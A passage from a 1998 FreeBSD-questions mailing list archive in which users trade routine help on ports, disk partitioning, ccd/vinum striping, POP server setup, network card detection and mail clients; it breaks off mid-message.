<3.0.5.32.19980408231423.00934b40@mail.zwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Dima Dorfman wrote: > Does anyone know where I can get some modem software for FreeBSD? In the > FreeBSD handbook at www.freebsd.org, it says "kermit', but doesn't say > where to get it. Where you get everything -- in the ports tree! http://www.freebsd.org/ports Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:24:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA13767 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:24:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA13690 for ; Thu, 9 Apr 1998 00:24:01 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13881; Thu, 9 Apr 1998 00:23:08 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:23:08 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Alex N. Zhuravlev" cc: FreeBSD Subject: Re: Multi-PPP In-Reply-To: <199804090637.OAA02928@keep.scn.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Alex N. Zhuravlev wrote: > Hi ! > I've got Motorolla Bitsurfer (ISDN).It has it's own multi-ppp support, but when i > wanted to use it and dial from one to another they both gave me ppp-like string and > no connection. Maybe FreeBSD has any kind of multi-ppp support, which can hold 2 > B-channels, and dynamically use one or both of ISDN B-channels , in arccodance with > voice calls. You might try mpd. It's in the ports tree. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:27:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA14370 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:27:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA14361 for ; Thu, 9 Apr 1998 00:27:27 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id IAA03229 for ; Thu, 9 Apr 1998 08:27:05 +0100 (MET) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id JAA20919 for ; Thu, 9 Apr 1998 09:27:08 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id JAA09706 for ; Thu, 9 Apr 1998 09:27:08 +0200 (CEST) From: Andre Albsmeier Message-Id: <199804090727.JAA07708@intern> Subject: Re: How to make a non-dangerously dedicated disk? In-Reply-To: from Doug White at "Apr 9, 98 00:19:27 am" To: dwhite@resnet.uoregon.edu Date: Thu, 9 Apr 1998 09:27:06 +0200 (CEST) Cc: andre.albsmeier@mchp.siemens.de, freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Thu, 9 Apr 1998, Andre Albsmeier wrote: > > > As the subject says: I want to create a non-dangerously dedicated disk > > but without using sysinstall. The reason is, I want to make an exact > > copy of the present system (2.2.6) but can't use the dangerously dedicated > > mode because the new disk will go into another broken Siemens PC. > > It's a pain in the arse since our fdisk utility bites. You _really_ want > to use sysinstall for this, the visual fdisk editor is miles beyond any > other tool. OK, i feared so :-(. Is there a description of the algorithm that sysinstall uses to determine the parameters? Maybe one day when I have spare time (== almost never) I try to make a standalone tool... Thanks, -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:44:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA17321 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:44:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA17306 for ; Thu, 9 Apr 1998 00:44:04 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id RAA15498; Thu, 9 Apr 1998 17:13:50 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id RAA20939; Thu, 9 Apr 1998 17:13:49 +0930 (CST) (envelope-from grog) Message-ID: <19980409171349.57448@freebie.lemis.com> Date: Thu, 9 Apr 1998 17:13:49 +0930 From: Greg Lehey To: Greg Pavelcak , freebsd-questions@FreeBSD.ORG Subject: Re: Check on ccd setup and "Vinum(??)" question References: <0ER4004MBPGTD7@rfd1.oit.umass.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <0ER4004MBPGTD7@rfd1.oit.umass.edu>; from Greg Pavelcak on Thu, Apr 09, 1998 at 12:24:23AM +0000 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 0:24:23 +0000, Greg Pavelcak wrote: > I think I'm starting to get ccd, but I just wanted to run this by you > all before I try it. I don't want to hurt anything. > > I have two Maxtor IDE drives: a 3.2G Diamondmax (UltraDMA), and a 2.1G > CrystalMax (Not UDMA). My controllers don't support UDMA anyway. I just > want to make sure I can do the following. > > Suppose I partition the disks like this. > > 3.2G 2.1G > ---- ---- > 64M swap 64M swap > 2.1G-64M /usr1 2.1G-64M /usr2 > 64M / > remainder /usr > > The idea, of course, is to get two file systems, /usr1 and /usr2 > that are the same size. > > Then I'll do an ordinary install onto / and /usr, ccd /usr1 and /usr2. > Finally, I'll move the /usr stuff to the ccd and mount it on /usr > resulting, I hope, in better performance from my disks, and I'll use the > former /usr partition just for sources and ports distfiles. > > Does this make sense? Up to a point. There are a number of ways to shoot yourself in the foot. I'm assuming a striped rather than a concatenated organization, since your goal is performance, not reliability. 1. Make sure you put your / file system up front. There are various limits that can bite you and stop the system from booting otherwise. You also probably don't need more than 40 MB / unless you have some strange things you want to do there. 2. The partitions used by ccd don't have file system names. You might call them /dev/wd0s1f and /dev/wd1s1f, for example. 3. You don't really need the third /usr file system. You can set ccd up to run before you go multi-user, so the ccd file systems are enough. 4. If one of your disks dies, ccd is too stupid to bring up the remaining one by itself. You'll have to reboot and reconfigure ccd. I believe the correct ccdconfig entry for this would be: ccd0 128 CCDF_UNIFORM /dev/wd0s1f /dev/wd1s1f In vinum (remember, you read it here first) you would define a file system like this: drive a device /dev/wd0s1f drive b device /dev/wd1s1f volume usr plex org striped 64k subdisk size 64m drive a subdisk size 64m drive b Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:52:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA18221 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:52:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA18205 for ; Thu, 9 Apr 1998 00:52:16 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id RAA15553; Thu, 9 Apr 1998 17:21:49 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id RAA28201; Thu, 9 Apr 1998 17:21:48 +0930 (CST) (envelope-from grog) Message-ID: <19980409172148.57622@freebie.lemis.com> Date: Thu, 9 Apr 1998 17:21:48 +0930 From: Greg Lehey To: anthony@sohopros.com, questions Subject: Re: sending an attachment? References: <352C2D19.E62A487C@sohopros.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352C2D19.E62A487C@sohopros.com>; from Anthony E. Coley on Wed, Apr 08, 1998 at 09:06:18PM -0500 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 April 1998 at 21:06:18 -0500, Anthony E. Coley wrote: > I have an error message I would like to get help with but I can not > figure out how to insert the typescript into the body of my email. I'd *strongly* recommend getting a more powerful mailer. Currently, I don't know any usable graphic oriented mailers. mutt is probably the best of the text-oriented ones. > Is it ok. send it as an attachment to -questions....? Doug White observes that not everybody has a mailer which supports MIME. My comment above applies to these people too. On the whole, I prefer MIME attachments if the nature of the document really suits being an attachment. I think your case is a good example of when to use an attachment. A bad example might be a .sig. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:59:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA19281 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:59:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA19276 for ; Thu, 9 Apr 1998 00:59:35 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id RAA15564; Thu, 9 Apr 1998 17:29:31 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id RAA05160; Thu, 9 Apr 1998 17:29:31 +0930 (CST) (envelope-from grog) Message-ID: <19980409172930.64515@freebie.lemis.com> Date: Thu, 9 Apr 1998 17:29:30 +0930 From: Greg Lehey To: Doug White , Chado Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Ping program not working from cron References: <3.0.3.32.19980408233735.0090d270@popmail.p3.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Doug White on Thu, Apr 09, 1998 at 12:15:36AM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 0:15:36 -0700, Doug White wrote: > On Wed, 8 Apr 1998, Chado wrote: > >> Gents, >> >> I have written a program that pings hosts on our network and the internet. >> >> When I run it from the command line it works fine...but when I install it >> in the cron it doesnt find any of the local machines. > > Are you sure you can run ping at all from cron? It may be erroring with a > `permission denied' or something like that ... In cron, the most likely problem is "file not found". Try specifying all program names with a full pathname (/sbin/ping, not ping). Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 01:01:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA19759 for freebsd-questions-outgoing; Thu, 9 Apr 1998 01:01:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from unionion.uion.edu.gr (unionion.uion.edu.gr [194.219.13.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id BAA19524; Thu, 9 Apr 1998 01:00:06 -0700 (PDT) (envelope-from gvlachos@unionion.uion.edu.gr) Received: from localhost by unionion.uion.edu.gr; (5.65/1.1.8.2/05Mar96-0202PM) id AA30914; Thu, 9 Apr 1998 10:58:51 +0300 Date: Thu, 9 Apr 1998 10:58:50 +0300 (EET DST) From: Giannis Vlachos To: freebsd-questions@FreeBSD.ORG Cc: freebsd-hackers@FreeBSD.ORG Subject: Pop server Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello I have install freebsd 2.2.2 release and i need to install o POP Server in this maschine. Where can i found that package for Freebsd. Does anybody can help me. Thanks in advance Giannis X. Vlachos Corfu,Greece To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 01:21:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA22930 for freebsd-questions-outgoing; Thu, 9 Apr 1998 01:21:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from odyssey.apana.org.au (odyssey.apana.org.au [203.11.114.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA22896; Thu, 9 Apr 1998 01:21:14 -0700 (PDT) (envelope-from dean@odyssey.apana.org.au) Received: from mushka.apana.org.au (mushka.apana.org.au [203.11.114.10]) by odyssey.apana.org.au (8.8.7/8.8.7) with SMTP id QAA02217; Thu, 9 Apr 1998 16:16:33 +0800 (WST) Message-Id: <3.0.3.32.19980409161223.0069d3e0@odyssey.apana.org.au> X-Sender: dean@odyssey.apana.org.au X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) Date: Thu, 09 Apr 1998 16:12:23 +0800 To: Giannis Vlachos , freebsd-questions@FreeBSD.ORG From: Dean Hollister Subject: Re: Pop server Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:58 09/04/98 +0300, Giannis Vlachos wrote: >I have install freebsd 2.2.2 release and i need to install o POP Server in >this maschine. Where can i found that package for Freebsd. > >Does anybody can help me. As root: cd /usr/ports/mail/popper make make install You then need to enable it in /etc/inetd.conf. Add the line: pop3 stream tcp nowait root /usr/local/libexec/popper popper -s Save the changes and exit. Then: kill -1 1 To reload inetd.conf. Regards, d. +--------------------------------------------------------+ | Dean Hollister, | dean@odyssey.apana.org.au* | | Region Co-Ordinator, | deanh@iinet.net.au | | APANA, | | | Western Australia. | *finger A/C for DISCLAIMER | +--------------------------------------------------------+ ST:VOY Kess: "I wish people would stop talking to me as if I'm still a child! I'm three years old now!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 01:58:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA26331 for freebsd-questions-outgoing; Thu, 9 Apr 1998 01:58:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cyclone.degnet.baynet.de (www.degnet.baynet.de [194.95.214.129]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id BAA26319 for ; Thu, 9 Apr 1998 01:58:35 -0700 (PDT) (envelope-from malte@webmore.com) Received: from tabara (unverified [194.95.214.171]) by cyclone.degnet.baynet.de (EMWAC SMTPRS 0.83) with SMTP id ; Thu, 09 Apr 1998 10:56:03 +0200 Message-Id: <3.0.32.19980409104621.006d8ff4@cyclone.degnet.baynet.de> X-Sender: moos@cyclone.degnet.baynet.de X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 10:46:22 +0000 To: Greg Lehey , anthony@sohopros.com, questions From: Malte Lance Subject: Re: sending an attachment? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 17:21 09.04.98 +0930, Greg Lehey wrote: >On Wed, 8 April 1998 at 21:06:18 -0500, Anthony E. Coley wrote: >> I have an error message I would like to get help with but I can not >> figure out how to insert the typescript into the body of my email. > >I'd *strongly* recommend getting a more powerful mailer. Currently, I >don't know any usable graphic oriented mailers. mutt is probably the >best of the text-oriented ones. What about xfmail ? Malte Lance malte@webmore.com >Greg > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 02:15:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA27852 for freebsd-questions-outgoing; Thu, 9 Apr 1998 02:15:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from friko.onet.pl (friko.onet.pl [194.204.188.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA27845 for ; Thu, 9 Apr 1998 02:15:06 -0700 (PDT) (envelope-from potok@friko.onet.pl) Received: from ovita.free.box (ppp-cen137.opole.tpnet.pl [194.204.146.137]) by friko.onet.pl (8.8.4/8.8.4) with ESMTP id KAA13700; Thu, 9 Apr 1998 10:12:02 +0200 Message-ID: X-Mailer: XFMail 1.2 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199804090014.RAA15429@sirius.cs.pdx.edu> Date: Thu, 09 Apr 1998 11:14:56 +0200 (CEST) Reply-To: potok@free.polbox.pl Organization: Ovita Nutricia Poland From: Mariusz Potocki To: robert t tan Subject: RE: Intel EtherExpress .. Cc: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 09-Apr-98 robert t tan wrote: > > Hi, > > I have a problem setting up my Ethernet card. > > I understood, FreeBSD supports the Intel EterExpress cards. I therefor > bought an Intel EhtherExpress PRO/10+ ISA LAN Adapter. > > I am running FreeBSD 2.2.2 > > Follows related dmesg results: > > ie0: unknown board_id: f000 > ie0 not found at 0x300 > ie1: unknown board_id: f000 > ie1 not found at 0x360 > ep0 not found at 0x300 > ex0 not found at 0x300 > le0 not found at 0x300 > lnc0 not found at 0x280 > ze0 not found at 0x300 > zp0 not found at 0x300 > > Any suggestions? > > Tnx much, > > robert tan. Be sure you set addres and irq via DOS setup program according to settings in kernel. Disable pnp on card. The ex0 driver can not use BNC interface on combo card (in 2.2.5.R) Mariusz "verba volant, scripta manent" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 02:16:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA28270 for freebsd-questions-outgoing; Thu, 9 Apr 1998 02:16:03 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from friko.onet.pl (friko.onet.pl [194.204.188.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA28221 for ; Thu, 9 Apr 1998 02:15:59 -0700 (PDT) (envelope-from potok@friko.onet.pl) Received: from ovita.free.box (ppp-cen137.opole.tpnet.pl [194.204.146.137]) by friko.onet.pl (8.8.4/8.8.4) with ESMTP id KAA13725; Thu, 9 Apr 1998 10:12:10 +0200 Message-ID: X-Mailer: XFMail 1.2 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <000801bd6271$0a04b8b0$4214080a@adm-nt-ws.ffc8.k12.co.us> Date: Thu, 09 Apr 1998 11:15:04 +0200 (CEST) Reply-To: potok@free.polbox.pl Organization: Ovita Nutricia Poland From: Mariusz Potocki To: Gary Noffsinger Subject: RE: trouble with cd-rom Cc: questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 07-Apr-98 Gary Noffsinger wrote: > I have a Sony cdu33a cd-rom drive attached to an Oak Technologies > Mozart > sound card. I am having trouble getting the install program to > recognize my > cd drive. Could you help me with the proper settings or installation > procedure? Thanks so much. > Gary Noffsinger > Fountain-Fort Carson School District #8 > Try connect it directly to MB (if it's IDE drive) Mariusz "verba volant, scripta manent" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 02:19:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA28838 for freebsd-questions-outgoing; Thu, 9 Apr 1998 02:19:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from friko.onet.pl (friko.onet.pl [194.204.188.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA28832 for ; Thu, 9 Apr 1998 02:19:38 -0700 (PDT) (envelope-from potok@friko.onet.pl) Received: from ovita.free.box (ppp-cen137.opole.tpnet.pl [194.204.146.137]) by friko.onet.pl (8.8.4/8.8.4) with ESMTP id KAA13711; Thu, 9 Apr 1998 10:12:06 +0200 Message-ID: X-Mailer: XFMail 1.2 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 09 Apr 1998 11:15:00 +0200 (CEST) Reply-To: potok@free.polbox.pl Organization: Ovita Nutricia Poland From: Mariusz Potocki To: (Oscar Valdez) Subject: RE: packages cd rom Cc: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 09-Apr-98 Oscar Valdez wrote: > pleae : how i specify a diferent path to install the packages in the > cdrom?? > > I have copied all the distribution in a cd, but the packages in a > directory called: > /packages/www > /packages/x11 > /packages/databases > etc etc. > > when i start /stand/sysinstall and try to install the packages, i got > an > error: packages path not found or something > > the freebsd system i had installed ok but the packages dont > > what i must do?? Try: pkg_add /path/to/desired/package/package_to_install.tgz Mariusz "verba volant, scripta manent" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 02:25:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA29499 for freebsd-questions-outgoing; Thu, 9 Apr 1998 02:25:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA29443 for ; Thu, 9 Apr 1998 02:25:49 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id SAA15644; Thu, 9 Apr 1998 18:55:27 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id SAA21546; Thu, 9 Apr 1998 18:55:26 +0930 (CST) (envelope-from grog) Message-ID: <19980409185525.64272@freebie.lemis.com> Date: Thu, 9 Apr 1998 18:55:25 +0930 From: Greg Lehey To: Malte Lance , anthony@sohopros.com, questions Subject: Re: sending an attachment? References: <3.0.32.19980409104621.006d8ff4@cyclone.degnet.baynet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <3.0.32.19980409104621.006d8ff4@cyclone.degnet.baynet.de>; from Malte Lance on Thu, Apr 09, 1998 at 10:46:22AM +0000 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 10:46:22 +0000, Malte Lance wrote: > At 17:21 09.04.98 +0930, Greg Lehey wrote: >> On Wed, 8 April 1998 at 21:06:18 -0500, Anthony E. Coley wrote: >>> I have an error message I would like to get help with but I can not >>> figure out how to insert the typescript into the body of my email. >> >> I'd *strongly* recommend getting a more powerful mailer. Currently, I >> don't know any usable graphic oriented mailers. mutt is probably the >> best of the text-oriented ones. > > What about xfmail ? I tried it about 18 months ago, and found it surprisingly good, but missing a few features. They could have been added in the meantime, of course. Given the problems that Microsoft has introduced with line breaks, I'm currently very cautious with graphics-oriented mailers. A pity, since they potentially have a lot to offer. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 02:27:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA00185 for freebsd-questions-outgoing; Thu, 9 Apr 1998 02:27:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from int-gw.blueberry.co.uk (int-gw.blueberry.co.uk [195.153.48.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA00170 for ; Thu, 9 Apr 1998 02:27:00 -0700 (PDT) (envelope-from keith@blueberry.co.uk) Received: from intranet.internal.blueberry.co.uk (intranet.internal.blueberry.co.uk [10.0.0.2]) by int-gw.blueberry.co.uk (8.8.8/8.8.8) with ESMTP id KAA17276 for ; Thu, 9 Apr 1998 10:28:40 +0100 (BST) (envelope-from keith@blueberry.co.uk) Received: (from keith@localhost) by intranet.internal.blueberry.co.uk (8.8.8/8.8.8) id KAA11607; Thu, 9 Apr 1998 10:30:25 +0100 (BST) (envelope-from keith) Message-ID: <19980409103025.14433@blueberry.co.uk> Date: Thu, 9 Apr 1998 10:30:25 +0100 From: Keith Jones To: questions@FreeBSD.ORG Subject: Re: igmp(4) manpage missing? References: <19980408110201.12354@blueberry.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Doug White on Wed, Apr 08, 1998 at 11:49:28PM -0700 Organization: Blueberry New Media Ltd. Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Apr 08, 1998 at 11:49:28PM -0700, Doug White wrote: > Is there a reference to it that's incorrect? inet(4) contains a reference to it. It seems to be the only one. Keith -- v Keith Jones Systems Manager, Blueberry New Media Ltd. v | Postal Mail: 2/10 Harbour Yard, Chelsea Harbour, LONDON, UK. SW10 0XD | | Telephone: +44 (0)171 351 3313 Fax: +44 (0)171 351 2476 | ^ Email: Keith.Jones@blueberry.co.uk WWW: http://www.blueberry.co.uk/ ^ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 02:36:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA02171 for freebsd-questions-outgoing; Thu, 9 Apr 1998 02:36:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cyclone.degnet.baynet.de (www.degnet.baynet.de [194.95.214.129]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id CAA02158 for ; Thu, 9 Apr 1998 02:36:49 -0700 (PDT) (envelope-from malte@webmore.com) Received: from tabara (unverified [194.95.214.166]) by cyclone.degnet.baynet.de (EMWAC SMTPRS 0.83) with SMTP id ; Thu, 09 Apr 1998 11:34:28 +0200 Message-Id: <3.0.32.19980409112445.006e6ba0@cyclone.degnet.baynet.de> X-Sender: moos@cyclone.degnet.baynet.de X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 11:24:46 +0000 To: Greg Lehey , anthony@sohopros.com, questions From: Malte Lance Subject: Re: sending an attachment? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 18:55 09.04.98 +0930, Greg Lehey wrote: >On Thu, 9 April 1998 at 10:46:22 +0000, Malte Lance wrote: >> At 17:21 09.04.98 +0930, Greg Lehey wrote: >>> On Wed, 8 April 1998 at 21:06:18 -0500, Anthony E. Coley wrote: >>>> I have an error message I would like to get help with but I can not >>>> figure out how to insert the typescript into the body of my email. >>> >>> I'd *strongly* recommend 